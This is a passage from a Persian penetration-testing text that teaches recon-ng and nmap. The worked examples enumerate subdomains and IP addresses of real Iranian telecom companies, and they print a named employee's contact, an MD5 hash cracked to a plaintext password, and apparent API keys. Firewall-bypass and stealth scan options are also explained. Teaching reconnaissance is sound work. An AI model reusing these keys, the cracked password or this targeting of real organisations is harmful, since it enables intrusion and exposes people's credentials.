51 بررسی محرک ها و روشهای تست نفوذ پیشرفته بروی زیر ساخت های شبکه های کابلی و بی سیمrecon-ng الزامی به ایجاد یک فضای کاری در. را ایجاد نمودworkspace برای شروع بایستی ابتدا یک فضای کاری یا سپس بایستی.نیست اما با این کار می توان همزمان چندین کار را بروی فضای های کاری مختلف بدون اشتباه در خروجی انجام داد(دستورات شماره.دامنه مورد نظر خود را اضافه کرد و در ادامه می توان دامنه های اضافه شده به یک فضای کاری را مشاهده کرد )3۶ 36 دستورات شماره[71] Recon modules[7] Reporting modules[2] Import modules[2] Exploitation modules[2] Discovery modules[recon-ng][default] > workspaces add irancell[recon-ng][irancell] > add domains irancell.ir[recon-ng][irancell] > show domains +--------------------------------------------------+ | rowid | domain | module | +--------------------------------------------------+ | 1 | irancell.ir | user_defined | +--------------------------------------------------+[*] 1 rows returned. هستند استفاده کنیم کافیست تا این واژه را جستجو کنیمdomains که مرتبط با واژهrecong-ng اگر بخواهیم از ماژوهای استفاده می کنیم31برای استفاده و مشاهده نتایج از دستورات شماره 37 دستورات شماره[recon-ng][irancell] > search domains domains جستجوی ماژولهای مرتبط با[*] Searching for 'domains'...Recon-----recon/contacts-domains/migrate_contactsrecon/domains-contacts/pgp_searchrecon/domains-contacts/salesmaplerecon/domains-contacts/whois_pocs................[recon-ng][irancell] > load recon/domains-contacts/pgp_search استفاده از یک ماژول خاص[recon-ng][irancell][pgp_search] > show info مشاهده اطلاعات درباره ماژول در حال استفادهName: PGP Key Owner Lookup Path: modules/recon/domains-contacts/pgp_search.py Author: Robert Frost (@frosty_1313, frosty[at]unluckyfrosty.net)Description: Searches the MIT public PGP key server for email addresses of the given domain. Updates the 'contacts' table with the results.
52 بررسی محرک ها و روشهای تست نفوذ پیشرفته بروی زیر ساخت های شبکه های کابلی و بی سیم 37 ادامه دستورات شمارهOptions: Name Current Value Required Description ------ ------------- -------- ----------- SOURCE default yes source of input (see 'show info' for details)Source Options:default SELECT DISTINCT domain FROM domains WHERE domain IS NOT NULL ORDER BY domain<string> string representing a single input<path> path to a file containing a list of inputsquery <sql> database query returning one column of inputsComments: * Inspiration from theHarvester.py by Christan Martorella: cmarorella[at]edge-seecurity.com قابلset است که با دستورSOURCE همان طور که مشاهده می کنید در اینجا تنها مقداری که می تواند تغییر کند. از اطلاعاتی که داخل دیتا بیس ذخیره می شوند استفاده می کندRecon-ng . استفاده می کنیم که برای بدست آوردن ایمیل افراد استpgp_search در اینجا ما از ماژول.تغییر است[recon-ng][irancell][pgp_search] > run اجرای ماژول-----------IRANCELL.IR-----------[*] Kaveh Shahrivar ([email protected])-------SUMMARY-------[*] 1 total (0 new) contacts found. برای این کار ابتدا از دستور زیر استفاده می کنیم که نام کل جدول ها به همراه.برای مشاهده نتایج بایستی نام جدولی که مقادیر جدید در آن ذخیره می شوند را بدانیم وضعیت فعلی آنها را نشان می دهد[recon-ng][irancell][pgp_search] > show dashboard برای مشاهده نتایج اجرای ماژول قبل از دستور زیر استفاده می کنیم[recon-ng][irancell][pgp_search] > show contacts خروجی را در شکل زیر مشاهده می کنیدhibp_breach برای جستجوی اطلاعات مانند مجوز نامه های مرتبط با ایمیل های خروجی ماژول قبل می توان از ماژول )32 استفاه می کند(مطابق با دستورات شمارهhttps://haveibeenpwned.com استفاده کرد که از سایت 38 دستورات شماره[recon-ng][irancell] > search contacts contacts جستجوی ماژولهای مرتبط باRecon-----recon/companies-contacts/facebookrecon/companies-contacts/jigsaw/point_usagerecon/companies-contacts/jigsaw/purchase_contact………….[recon-ng][irancell] > use recon/contacts-credentials/hibp_breach[recon-ng][irancell] > run
53 بررسی محرک ها و روشهای تست نفوذ پیشرفته بروی زیر ساخت های شبکه های کابلی و بی سیم 38 ادامه دستورات شماره )(شکل زیر. مشاهده کردcredentials نتایج خروجی ماژول بالا را می توان در جدول . داردAPI استفاده کرد که نیار به کلیدhashes_org است می توان از ماژول دیگری به نامMD5 برای شکستن مقدار هش بالا که از نوع[recon-ng][default] > search hash]*[Searching for 'hash...' Recon----- recon/credentials-credentials/hashes_org[recon-ng][default] > use recon/credentials-credentials/hashes_org[recon-ng][default][hashes_org] > show info Name: Hashes.org Hash Lookup Path: modules/recon/credentials-credentials/hashes_org.pyAuthor: Tim Tomes (@LaNMaSteR53) and Mike Lisi (@MikeCodesThings)Description: Uses the Hashes.org API to perform a reverse hash lookup. Updates the 'credentials' table with the positive results.Options: Name Current Value Required Description----------- -------- ------------- ------ SOURCE default yes source of input (see 'show info' for details)Source Options:default SELECT DISTINCT hash FROM credentials WHERE hash IS NOT NULL AND password IS NULL AND type IS NOT 'Adobe'< string> string representing a single input< path> path to a file containing a list of inputsquery <sql> database query returning one column of inputsComments:* Hash types supported: MD5, MD4, NTLM, LM, DOUBLEMD5, TRIPLEMD5, MD5SHA1, SHA1, MYSQL5, SHA1MD5, DOUBLESHA1, RIPEMD160 بدستAPI و ثبت نام در سایت می توان یک کلیدHashes.org با مراجعه به وب سایت، مشخص شده استDescription همانطور که در بخش آورد[recon-ng][irancell][hashes_org] > keys add hashes_api e480NNjV9klGLP4YGHbm5kpLGgU84V از طریق دستور بالا می توان کلید را به ماژول اضافه کرد[recon-ng][irancell][hashes_org] > run]*[ec0338f342f6978f0abd263ebea7f0a3 (MD5) => 123qwe12as[recon-ng][irancell][hashes_org]>[recon-ng][irancell] > use recon/hosts-hosts/resolve[recon-ng][irancell] > run استIP این ماژول برای تبدیل نام ها به آدرس های
بررسی محرک ها و روشهای تست نفوذ پیشرفته بروی زیر ساخت های شبکه های کابلی و بی سیم 54 2-6-1-2بخش دوم – بدست آوردن اطلاعات دامنه ها و هاست ها با استفاده از recon-ngدر این بخش قصد داریم اطلاعاتی را که از یک دامنه می توان بدست آورد را توضیح دهیم .فرض کنید در فضای کاری قبل با دامنه irancell.irبرای افزایش درگاهای نفوذ ،بایستی ساب دامین ها رابدست بیاوریم .برای این کار از چند ماژول recocn-ngاستفاده خواهیم کرد تا اطلاعات کاملی از ساب دامین های دامنه اصلی داشته باشیم .ما از ماژول های زیر برای این کار استفاده می کنیم مقدار api keyبدست آورده شده نیاز به api key نام ماژول - ندارد baidu_site دارد bing_domain_apixxS6+J5+6mbQ+NTpswPfLTazYEl+/W/un8tlIYOXeQ3 ندارد netcraft - google_site_web - دارد اما اجباری نیست shodan_hostname دارد brute_hosts rlrzEkhj5NI9czVIqQzX8f3b3OUStVuD ندارد -به ترتیب از ماژول های بالا استفاده می کنیم تا لیست کاملی از ساب دامین ها بدست آوریم .برای اضافه کردن کلید apiنیز همانند روشی که برای hashes.ogبه کار بردیم استفاده می کنیم .بنابراین همانند دستورات شماره 31عمل می کنیم دستورات شماره 39[recon-ng][irancell] > use recon/domains-hosts/baidu_site[recon-ng][irancell] > runجستجوی هاست ها[recon-ng][irancell] > use recon/domains-hosts/bing_domain_api[recon-ng][irancell] > runجستجوی هاست ها[recon-ng][irancell] > use recon/domains-hosts/netcraft[recon-ng][irancell] > runجستجوی هاست ها[recon-ng][irancell] > use recon/domains-hosts/google_site_web[recon-ng][irancell] > runجستجوی هاست ها[recon-ng][irancell][shodan_hostname] > use recon/domains-hosts/shodan_hostname[recon-ng][irancell] > runجستجوی هاست ها[recon-ng][irancell][brute_hosts] > use recon/domains-hosts/brute_hosts[recon-ng][irancell] > runجستجوی هاست هابعد از استفاده از دستور بالا از ماژولی که در دستور شماره 42مشخص شده است استفاده می کنیم تا عمل Resolve the hostsانجام شود .خروجی در نتایج 41تا 45مشخص شده است
55 بررسی محرک ها و روشهای تست نفوذ پیشرفته بروی زیر ساخت های شبکه های کابلی و بی سیم 41 دستورات شماره[recon-ng][irancell] > use recon/hosts-hosts/resolve[recon-ng][irancell] > run هاست نتایج بدست آمده برای ایرانسل 41 نتایج شماره bill.irancell.ir آدرسIP charge.irancell.ir ماژول استفاده شده charsoo.irancell.ir 92.42.51.224 google_site_webcorporate.irancell.ir 92.42.51.224 dana.irancell.ir 144.76.136.81 netcraft drive.irancell.ir 92.42.49.43 google_site_web drive.irancell.ir 92.42.49.43 google_site_web ecare.irancell.ir 92.42.55.94 google_site_web eform.irancell.ir 92.42.49.43 google_site_web file.irancell.ir 85.185.37.7 file.irancell.ir 92.42.49.43 resolve gisheh.irancell.ir 92.42.51.211 google_site_web imap.irancell.ir 92.42.51.211 google_site_web ipanel.irancell.ir 92.42.49.43 bing_domain_api jobs.irancell.ir 92.42.51.36 shodan_hostnameketabkhan.irancell.ir 92.42.49.43 google_site_weblist.charge-irancell.ir 92.42.51.211m.charge.irancell.ir 92.42.51.96 brute_hostsm.charge.irancell.ir 82.145.40.31 netcraft m.irancell.ir 92.42.51.245 mms.irancell.ir 92.42.51.245 brute_hosts nama.irancell.ir 92.42.49.43 google_site_web ns1.irancell.ir 92.42.49.78 shodan_hostname ns2.irancell.ir 92.42.49.84 bing_domain_api olr.irancell.ir 92.42.51.209 shodan_hostname 92.42.51.109 bing_domain_api 92.42.51.224 google_site_web google_site_web brute_hosts brute_hosts google_site_web
56 بررسی محرک ها و روشهای تست نفوذ پیشرفته بروی زیر ساخت های شبکه های کابلی و بی سیمonlinechat.irancell.ir نتایج بدست آمده برای ایرانسل 41 ادامه نتایج شماره pay.irancell.ir 92.42.51.37 85.185.37.8 41نتایج شمارهpishnahad.irancell.ir 92.42.49.43 pishvaz.irancell.ir 92.42.51.119 netcraft pop3.irancell.ir 92.42.51.36 netcraft rbt.irancell.ir 85.185.37.36 google_site_web ritm.irancell.ir netcraft sim.irancell.ir 79.175.176.221 brute_hosts smtp.irancell.ir 92.42.51.224 google_site_web 92.42.51.166 google_site_webspeedtest1.irancell.ir 5.118.0.3 google_site_web st.irancell.ir 85.185.36.84 brute_hosts 92.42.51.104 bing_domain_api vitrin.irancell.ir 92.42.51.251 google_site_web vitrin.irancell.ir 92.42.51.239 google_site_web vitrin.irancell.ir 92.42.51.105 resolve vitrin.irancell.ir 92.42.51.240 resolve vitrin.irancell.ir 92.42.51.249 resolve vitrin.irancell.ir 92.42.49.43 resolve wimax.irancell.ir 92.42.49.43 resolve www.irancell.ir 92.42.49.46 google_site_web www2.irancell.ir 92.42.49.43 netcraft zoom.irancell.ir brute_hosts google_site_webbazresi.tic.ir نتایج بدست آمده برای زیر ساخت 42 نتایج شماره bpay.tic.ir 80.191.24.17 ccp.tic.ir 80.191.24.29 41نتایج شماره crm.tic.ir eorg3.tic.ir 80.191.24.17 bing_domain_api ftp.tic.ir 80.191.24.25 bing_domain_api 80.191.24.7 netcraft bing_domain_api bing_domain_api brute_hosts
57 بررسی محرک ها و روشهای تست نفوذ پیشرفته بروی زیر ساخت های شبکه های کابلی و بی سیمkarkonan.tic.ir 80.191.24.17 42 ادامه نتایج شماره mail.tic.ir 80.191.24.40 mail.tic.ir 80.191.24.40 41نتایج شماره news.tic.ir 80.191.24.17 ns1.tic.ir 80.191.24.2 bing_domain_api ns2.tic.ir 80.191.24.9 bing_domain_api online.tic.ir 80.191.24.17 shodan_hostname sms.tic.ir 80.191.24.21 bing_domain_api voip.tic.ir www.tic.ir 2.188.0.94 brute_hosts www1.tic.ir 80.191.24.17 brute_hosts 80.191.24.15 bing_domain_api brute_hosts bing_domain_api bing_domain_api brute_hosts backup.mci.ir نتایج بدست آمده برای همراه اول 43 نتایج شماره billing.mci.ir 217.218.104.12 cert.mci.ir 217.218.104.3 41نتایج شماره club.mci.ir 217.218.104.1 crm.mci.ir 217.218.104.24 brute_hosts data.mci.ir 217.218.110.137 bing_domain_apievoucher.mci.ir 217.218.104.14 217.218.110.149 brute_hosts lms.mci.ir 176.227.204.202 brute_hosts m.mci.ir 217.218.104.1 brute_hosts mail.mci.ir 217.218.105.5 brute_hosts mail.mci.ir 217.218.105.5 bing_domain_apimail.nak-mci.ir 5.160.202.11 bing_domain_api mail2.mci.ir 217.218.110.146 bing_domain_api mmbox.mci.ir 185.5.159.65 bing_domain_apimpardis.mci.ir 217.218.104.8 shodan_hostname my.mci.ir 217.218.104.14 shodan_hostname ns.mci.ir 217.218.105.9 brute_hosts ns1.mci.ir 217.218.105.9 bing_domain_api ns2.mci.ir 217.218.105.10 bing_domain_api pardis.mci.ir 217.218.104.9 bing_domain_api brute_hosts brute_hosts shodan_hostname bing_domain_api
58 بررسی محرک ها و روشهای تست نفوذ پیشرفته بروی زیر ساخت های شبکه های کابلی و بی سیم pop3.mci.ir 217.218.105.5 43 ادامه نتایج شماره rbt.mci.ir 217.218.104.2 rond.mci.ir 217.218.104.21 41نتایج شماره setting.mci.ir 5.209.0.0 brute_hosts shop.mci.ir 217.218.104.16 bing_domain_api sim.mci.ir 217.218.104.23 bing_domain_api smtp.mci.ir 217.218.105.5 bing_domain_api speedtest.mci.ir bing_domain_api speedtest.mci.ir 5.106.0.30 bing_domain_api tablighak.mci.ir 5.106.0.34 test.mci.ir 217.218.105.37 brute_hosts webmail.mci.ir 217.218.105.30 bing_domain_api www.mci.ir 217.218.105.33www.mmbox.mci.ir 217.218.104.1 resolve 185.5.159.65 shodan_hostname هاست نتایج بدست آمده برای رایتل brute_hosts 2014.rightel.ir آدرسIP shodan_hostname bing_domain_api av.rightel.ir 95.38.60.95 bing_domain_api charge.rightel.ir 81.91.144.61 185.24.139.28 44 نتایج شماره conf.rightel.ir 81.91.144.61 content.rightel.ir 185.24.139.10 41نتایج شماره dealer.rightel.ir 91.229.215.249 ecare.rightel.ir 91.229.215.248 ماژول استفاده شدهelearning.rightel.ir 81.91.144.52 bing_domain_api kelaket.rightel.ir 185.24.139.12 95.38.60.95 brute_hosts lms.rightel.ir 81.91.144.50 bing_domain_api m.rightel.ir 91.229.215.158 mail.rightel.ir 91.229.215.155 brute_hosts mg.rightel.ir 81.91.144.41 brute_hosts my.rightel.ir bing_domain_api bing_domain_api bing_domain_api bing_domain_api google_site_web brute_hosts netcraft brute_hosts bing_domain_api
59 بررسی محرک ها و روشهای تست نفوذ پیشرفته بروی زیر ساخت های شبکه های کابلی و بی سیمmybusiness.rightel.ir 91.229.215.219 44 ادامه نتایج شماره ns1.rightel.ir 185.24.139.18 ادامه ns2.rightel.ir 92.61.186.11 panel.rightel.ir 185.24.139.37 41نتایج شماره radio.rightel.ir 185.24.139.10 185.24.139.10 bing_domain_api ramadan.rightel.ir 185.24.139.12 brute_hosts ramazan.rightel.ir 185.24.139.12 brute_hosts 91.229.215.139 rayehe.rightel.ir 81.91.144.39 bing_domain_api rbt.rightel.ir 81.91.144.36 brute_hosts rcs.rightel.ir 81.91.144.48 rdb.rightel.ir 185.24.139.9 bing_domain_api rec.rightel.ir 91.229.215.166 bing_domain_api reg.rightel.ir 81.91.144.49 bing_domain_api sec.rightel.ir 185.24.139.51 bing_domain_api 87.247.184.252 google_site_web security.rightel.ir 81.91.144.42 bing_domain_api soc.rightel.ir 81.91.144.54 bing_domain_api ssl.rightel.ir 185.24.139.50 bing_domain_api staff.rightel.ir 185.24.139.58 81.91.144.47 brute_hosts standard.rightel.ir 185.24.139.12 netcraft stats.rightel.ir 185.24.136.14 netcraft temp.rightel.ir 185.24.139.10 tender.rightel.ir 185.24.139.43 brute_hosts tv.rightel.ir netcraft vpn.rightel.ir www.rightel.ir bing_domain_api wwww.rightel.ir google_site_web brute_hosts bing_domain_api bing_domain_api brute_hosts bing_domain_api bing_domain_api310183316.r.afracdn.com نتایج بدست آمده برای افرانت 45 نتایج شماره310183316.r.afracdn.com 79.175.175.19 79.175.174.3 41نتایج شماره admin.afranet.com 80.75.0.20 azmoon.afranet.com 78.109.199.246 brute_hosts resolve brute_hosts bing_domain_api
60 بررسی محرک ها و روشهای تست نفوذ پیشرفته بروی زیر ساخت های شبکه های کابلی و بی سیم azmoon.afranet.com 78.109.199.200 45 ادامه نتایج شماره bb.afranet.com 172.16.1.13 172.16.1.13 41نتایج شمارهdistributers.afranet.com 80.75.0.11 ec.afranet.com 172.16.9.20 resolve erp.afranet.com 80.75.15.135 brute_hosts brute_hostseshopping.afranet.com 79.175.160.226 brute_hosts ftp.afranet.com 172.16.1.1 brute_hosts bing_domain_api hermes.afranet.com 79.175.160.166 brute_hosts host.afranet.com 80.75.0.13 brute_hosts imap.afranet.com 80.75.0.30 brute_hosts local.afranet.com 80.75.0.13 brute_hosts mail.afranet.com brute_hosts 217.218.98.5 bing_domain_api mercury.afranet.com 172.16.66.66 brute_hostsmonitoring.afranet.com brute_hosts 80.75.0.17 brute_hosts mrtg.afranet.com 80.75.0.13 brute_hosts mta.afranet.com 80.75.0.2 brute_hosts ns.afranet.com 79.175.136.5 brute_hosts ns1.afranet.com 79.175.136.2 brute_hosts ns2.afranet.com 80.75.0.16 brute_hosts ntp.afranet.com 80.75.0.16 brute_hosts ntp0.afranet.com 80.75.0.6 brute_hosts online.afranet.com 172.16.9.24 brute_hosts oracle.afranet.com 80.75.0.13 brute_hosts pop3.afranet.com 80.75.15.136 bing_domain_api portal.afranet.com 172.16.9.33 brute_hostsprintserver.afranet.com 172.16.1.3 brute_hosts radius.afranet.com 80.75.2.74 brute_hosts sa.afranet.com 80.75.0.10 bing_domain_api shop.afranet.com 144.76.191.151 google_site_web smk02.afranet.com 80.75.0.10 brute_hosts sms.afranet.com
61 بررسی محرک ها و روشهای تست نفوذ پیشرفته بروی زیر ساخت های شبکه های کابلی و بی سیم smtp.afranet.com 80.75.0.13 45 ادامه نتایج شماره stat.afranet.com 80.75.0.12 storage.afranet.com 172.16.1.7 41نتایج شماره support.afranet.com 80.75.0.20 techsupport.afranet.com 80.75.0.10 brute_hosts ticket.afranet.com 79.175.175.3 brute_hosts tts.afranet.com 80.75.0.51 brute_hosts vg.afranet.com 172.16.1.19 brute_hosts voice.afranet.com 80.75.0.15 brute_hosts voip.afranet.com 80.75.0.17 bing_domain_api w3.afranet.com 80.75.0.11 bing_domain_api webmail.afranet.com 80.75.0.13 brute_hosts www.afranet.com 79.175.174.3 google_site_web www.afranet.com 79.175.175.19 brute_hostswww.azmoon.afranet.com 78.109.199.215 brute_hostswww.azmoon.afranet.com 78.109.199.214 brute_hostswww.azmoon.afranet.com 78.109.199.211 bing_domain_apiwww.azmoon.afranet.com 78.109.199.229 www2.afranet.com 80.75.15.131 resolve google_site_web resolve resolve resolve brute_hostsدر این تست نیازی به حفظ ناشناس بودن نیست زیرا هیچ گونه نشتی بین سیستم ما و تارگت وجود ندارد اما برای رعایت یک سری استفاده می4۶ یعنی از دستور شماره، توضیح داد شد استفاده می کنیم6-1 مسائل امنیتی از روشی که در فصل قبل در بخش .کنیم[recon-ng][irancell] > proxychains recon-ng 46 دستور شماره 41نتایج شماره Nmap با برنامهActive شناسایی در حالت2-2 می باشد و یک نرم افزار کاربردی برای جستجوی شبکه یا ممیزی امنیتی شبکه به شمارNetwork Mapper مخففNmap اگر چه می تواند بر روی سیستم های، این نرم افزار طوری طراحی شده است که شبکه های بزرگ را به سرعت اسکن کند.میاید های خام بصورت منحصر بفرد استفاده می کند تا تعیین کند چه رایانه هاییip packet ازNmap .تنها نیز بخوبی کار کند
بررسی محرک ها و روشهای تست نفوذ پیشرفته بروی زیر ساخت های شبکه های کابلی و بی سیم 62 ) (hostsبر روی شبکه در دسترس می باشند ،چه سرویسهایی ) (portsارائه می کنند ،چه سیستم عاملهایی (بهمراه نسخه سیستم عامل) بر روی آنها در حال اجرا می باشد ،چه نوع packet filterهایی (فایروال) مورد استفاده قرار گرفته و چندین پارامتر دیگر Nmap .بر روی اکثر رایانه ها ،هم گرافیکی و هم کنسول ها قابل استفاده است Nmap .یک نرم افزار رایگان است که به همراه کدهای آن تحت واژه GNU GPLدر دسترس می باشد. 1-2-2ویژگیهای Nmap 1-1-2-2انعطاف پذیری از چندین تکنیک پیشرفته برای استخراج نقشه شبکه استفاده می کند که این نقشه از IP filterها ،فایروالها ،مسیریابها و دیگر موانع تشکیل شده است .این نقشه همچنین شامل بسیاری از پورتهای اسکن شده هم TCPو هم ، UDPتشخیص سیستم عامل، ping sweepها و عوامل دیگر می باشد . 2-1-2-2قدرتمندی از Nmapجهت اسکن کردن شبکه های بسیار بزرگ به معنی واقعی کلمه ،یعنی صدها هزار از ماشین ،استفاده شده است. 3-1-2-2قابلیت حمل بر روی اکثر سیستم عاملها استفاده می شود و از آن پشتیبانی می کنند .این سیستم عاملها شامل Open/Free/Net ، Linux Sun OS ،HP-UX ،Mac OS ،IRIX ،Solaris ،BSDو غیره می باشد. 4-1-2-2سادگی در ضمن اینکه Nmapیک مجموعه از خصوصیات پیشرفته را برای کاربران توانمند ارائه می دهد ،شما می توانید استفاده از آن را با دستور nmap –O –sS targethostآغاز نمایید .هم نسخه های command lineو هم نسخه های گرافیکی ) (GUIبر اساس نیاز شما در دسترس می باشد .نسخه باینری نیز برای برای کسانی که مایل به کامپایل کردن کدهای Nmapنیستند موجود می باشد. 5-1-2-2رایگان هدف اولیه از پروژه Nmapجهت کمک به امن کردن بیشتر اینترنت و تجهیز مدیران شبکه /ممیزین شبکه (auditors) /هکرها به یک ابزار پیشرفته جهت جستجوی شبکه تحت کنترلشان بوده است. 2-2-2روش عملکرد Nmap در این قسمت به توضیح عملکرد نرم افزار Nmapتحت سیستم عامل Linuxمی پردازیم و سپس به توضیح سوئیچ های Nmap که بصورت command lineمی باشند می پردازیم
بررسی محرک ها و روشهای تست نفوذ پیشرفته بروی زیر ساخت های شبکه های کابلی و بی سیم 63 همانطور که گفته شد Nmapیک نرم افزار امنیتی می باشد که تعداد زیادی از تکنیکهای اسکن را پشتیبانی می کند که عبارت است از UDP ،TCP connect() ،TCP SYN (half open) ،FTP proxy (bounce attack) ،Reverse-ident ،ICMP (ping Null scan .و sweep) ،FIN ،ACK sweep ،Xmas Tree ،SIN sweep ،IP Protocol همچنین Nmapدارای بسیاری از قابلیتهای پیشرفته نظیر شناسایی OSبا استفاده از ، TCP/IPاسکن نامحسوس ،محاسبات تاخیر دینامیکی و انتقال مجدد ) ، (retarnsmissionاسکن موازی ،شناسایی سیستم های خاموش ) (down hostsاز طریق pingهای موازی ،decoy scanning ،شناسایی پورتهای فیلتر شده ،direct (non-portmapper) RPC scanning ، fragmentation scanningو همچنین تعیین پورت و هدف منعطف می باشد. نتیجه اجرای Nmapمعمول ًا یک لیست از پورتهای جالب (در صورت وجود) از ماشین یا ماشینهایی که اسکن شده اند ،می باشد. همیشه Nmapدر مورد پورت شناخته شده ) (well knownportنام سرویس (در صورت وجود) ،نام ،وضعیت و پروتکل را می دهد .وضعیت ) (stateمی تواند filtered ، openو unfilteredباشد open .یعنی ماشین مورد نظر ارتباطات روی آن پورت را )( connectخواهد کرد filtered ،یعنی یک فایروال /فیلتر یا دیگر موانع موجود بر روی شبکه ،پورت را پوشش می دهد و مانع آن می شود که Nmapتعیین کند که پورت باز است یا بسته و unfilteredیعنی آن پورتی که توسط Nmapشناسایی شده، بسته شده و بنظر می رسد هیچ فایروالی /فیلتری به تلاش Nmapبرای تعیین وضعیت آن پورت توجه ندارد .مواجه شدن با پورتهای unfilteredمتداول می باشند و زمانی این وضعیتها نشان داده می شوند که اکثر پورتهای اسکن شده در وضعیتfiltered باشند. بسته به سوئیچهای استفاده شدهNmap ،می تواند مشخصات زیر را در remote hostمعین کند :سیستم عامل مورد استفاده، ،TCP sequencabilityنام کاربرانی که برنامه های منحصر به هر پورت را اجرا می کنند ،نام ، DNSتعیین اینکه آیا میزبان یک smurf addressمی باشد و چند مشخصه دیگر .همچنین Nmapدارای بسیاری از قابلیتهای پیشرفته نظیر موارد زیر میباشد شناسایی OSبا استفاده از TCP/IP اسکن نامحسوس )(stealth scanning محاسبات تاخیر دینامیکی و انتقال مجدد )(retarnsmission اسکن موازی شناسایی سیستم های خاموش ) (down hostsاز طریق pingهای موازی decoy scanning شناسایی پورتهای فیلتر شده direct (non-portmapper) RPC scanning
بررسی محرک ها و روشهای تست نفوذ پیشرفته بروی زیر ساخت های شبکه های کابلی و بی سیم 64 fragmentation scanningroot@linux-server:~# nmapexamole.com 3-2-2دستورات مهم nmap سادهترین دستور nmapدر دستور شماره 41مشخصشده است دستور شماره 47 نتایج شماره41در این دستور ابتدا برنامه تارگت مورد نظر را pingمیکند و اگر تارگت جلوی بستههای ICMPرا گرفته باشد nmapوضعیت hostرا Downنشان میدهد.برای دیدن نتایج بیشتر میتوان از سوییچ –vاستفاده کرد و برای مشاهده نتایج بیشتر از قبل از –vvاستفاده کرد .مانند دستورroot@linux-server:~# nmap -VV example.com شماره 42 دستور شماره 48 نتایج شماره41برای مشخص کردن IPدر nmapروشهای مختلفی وجود دارد که در دستورات شماره 41مشخصشدهاندroot@linux-server:~# nmap x.y.z.k1 x.y.z.k2 دستورات شماره 49root@linux-server:~# nmap x.y.z.x نتایج شماره41root@linux-server:~# nmap x.y.z.0/24root@linux-server:~# nmap - iL /root /IP.txt که دستور بالا لیست IPها را از یک فایل میخواند.root@linux-server:~# nmap Range1 --exclude Range2که در دستور بالا تمامی IPهایی که در Range1هستند را اسکن میکند بهجز آنهایی که در Range2هستند.root@linux-server:~# nmap -O example.com برای تشخیص OSاز دستور شماره 52استفاده میکنیم دستور شماره 51 نتایج شماره41
بررسی محرک ها و روشهای تست نفوذ پیشرفته بروی زیر ساخت های شبکه های کابلی و بی سیم 65زمانی که یک Firewallوجود داشته باشد و جلوی بستههای Icmp echoرا بگیرد ،بایستی اسکن در حالتی انجام شود که تارگت pingنشود (همانند دستور شماره )51root@linux-server:~# nmap -PN example.com دستور شماره 51 نتایج شماره41 برای اسکن آدرسهای IPV6از سوییچ -6همانند دستور شماره 52استفاده میکنیمroot@linux-server:~#nmap -6 IPV.6 دستور شماره 52 نتایج شماره41 برای pingکردن با استفاده از nmapاز دستور شماره 53استفاده میکنیمroot@linux-server:~# nmap -P example.com دستور شماره 53 نتایج شماره41 برای سرعت بخشیدن به اسکن و حالت Fastاز دستور شماره 54استفاده میکنیمroot@linux-server:~# nmap -F IP دستور شماره 54 نتایج شماره41اگر بخواهیم دلیل nmapرا از نتایجی که گزارش میدهد را مشاهده کنیم از دستور شماره 55استفاده میکنیمroot@linux-server:~# nmap –reason IP دستور شماره 55 نتایج شماره41نمایش پورتهای فقط باز یا آنهایی که احتمال ًا باز هستند با استفاده از دستور شماره 5۶انجام می شودroot@linux-server:~# nmap –open IP دستور شماره 56 نتایج شماره41اگر بخواهیم تمامی پکتهای رفت و بازگشت را مشاهده کنیم از دستور شماره 51استفاده میکنیمroot@linux-server:~# nmap --packet –trace دستور شماره 57 نتایج شماره41نشان دادن تمامی Interfaceها و routeکه برای دیباگ کردن که خیلی مفید است توسط دستور شماره 52مشخص شده استroot@linux-server:~# nmap --iflist دستور شماره 58 نتایج شماره41 در دستورات شماره 51تمامی روشهای مشخص کردن پورت بیان شده است
بررسی محرک ها و روشهای تست نفوذ پیشرفته بروی زیر ساخت های شبکه های کابلی و بی سیم 66root@linux-server:~# nmap –p x IP دستورات شماره 59root@linux-server:~# nmap -p T: x IProot@linux-server:~# nmap -p U:x IP نتایج شماره41 اسکن پورت x اسکن پورت TCPبا شماره x اسکن پورت UPDبا شماره xroot@linux-server:~# nmap -p x1,x2 IP اسکن پورتهای x1و x2root@linux-server:~# nmap -p x1-xn IP اسکن پورتهای x1تا xnroot@linux-server:~# nmap -p \"*\" IP اسکن تمامی پورتها با ترکیب دستورات بالا میتوان در هر حالتی اسکن را انجام داد.سریعترین روش برای اسکن یک collision domainیا سگمنت استفاده از دستور شماره شماره ۶2است.root@linux-server:~# nmap -T5 IP/x دستور شماره 61 نتایج شماره41 که xمیتواند مقادیر مربوطه باشد.برای اینکه نسخه برنامههایی که به روی پورتهای مشخصشده باز هستند را ببینیم از دستور شماره ۶1استفاده میکنیمroot@linux-server:~ # nmap -sV IP دستور شماره 61 نتایج شماره41root@linux-server:~ # nmap -sU IP برای مشخص کردن سرویسهای UPDاز دستور شماره ۶2استفاده میکنیم دستور شماره 62 نتایج شماره41
بررسی محرک ها و روشهای تست نفوذ پیشرفته بروی زیر ساخت های شبکه های کابلی و بی سیم 67برای مشخص کردن اینکه کدام پروتکلهای IPمانند IPSec ،ICMPو یا IGMPبر روی تارگت پشتیبانی شده است از دستور شماره ۶3استفاده میشود.root@linux-server:~ # nmap -So IP دستور شماره 63 نتایج شماره41اگر بخواهیم Firewallرا bypassکنیم از سوییچهایی چون -sX, -sF, -sNاستفاده میکنیم .حال درباره این نوع اسکن توضیحات لازم را خواهیم داد. : Null Scanدر این نوع scanتمامی فلگها بدون مقدار یا همان صفر هستند .ازآنجاییکه در این نوع اسکن هیچگونه پرچمیمقداردهی نشده است .زمانی که تارگت آن را دریافت میکند چون نمیداند آن را چطور Handleکند ،بسته را حذف میکند ودرنتیجه اگر جوابی دریافت نشود نشاندهنده این است که پورت باز است و اگر جوابی با پرچم RSTدریافت شود به معنای آن خواهد بود که پورت بسته است. برای Null Scanاز دستور شماره ۶4استفاده میکنیمroot@linux-server:~ # nmap -sN IP دستور شماره 64 نتایج شماره41نکته مهم این است که اگر اسکنهای xmassو یا Nullو یا FINرا علیه سیستم عامل windowsبه کار ببریم نتایج غلطیدریافت خواهیم کرد .نتایج اسکن اینگونه خواهد بود که یا تمامی پورتها باز است و یا بسته ،بنابراین این نوع اسکن تنها در محیطهای Linuxکاربرد دارد. : Xmassتمامی فلگها به مقدار یک تنظیم میشوند. : FINتنها فلگ FINبه مقدار یک تنظیم میشود.طبق RFC 793اگر یک پکت با یک پورت مقصد مشخص رسید ،اگر پورت بسته باشد بایستی یک پکت با مقدار ِست ( )setشده RSTارسال شود و اگر پکت یک پکت غیرعادی بود مانند پکتهای FINیا Nullبایستی پکت حذف و هیچ جوابی ارسال نشود. در ادامه دستوراتی را که مربوط به اسکن پنهانی است را توضیح خواهیم داد. 4-2-2اسکن پنهانی برای جعل کردن آدرس macمیتوان از دستور شماره 